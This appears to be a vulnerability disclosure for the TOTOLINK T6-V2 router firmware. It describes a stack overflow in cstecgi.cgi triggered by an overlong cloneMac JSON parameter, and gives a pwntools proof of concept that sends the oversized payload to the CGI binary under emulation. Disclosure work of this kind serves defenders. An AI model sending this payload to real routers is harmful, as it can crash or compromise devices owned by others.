Overview

• The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
• Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_0041621c (at address 0x41621c) gets the JSON parameter cloneMac, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

When parameter proto is equal to 1, program will enter the danger if branch at line 125. Then the program gets the parameter cloneMac, splits it, and connects the segmented string to local variables in the stack without checking its length.

PoC

from pwn import *
import json

data = {
    "topicurl": "setting/setWizardCfg",
    "proto": "1",
    "cloneMac": "A"*0x400 + ":" + "A"
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()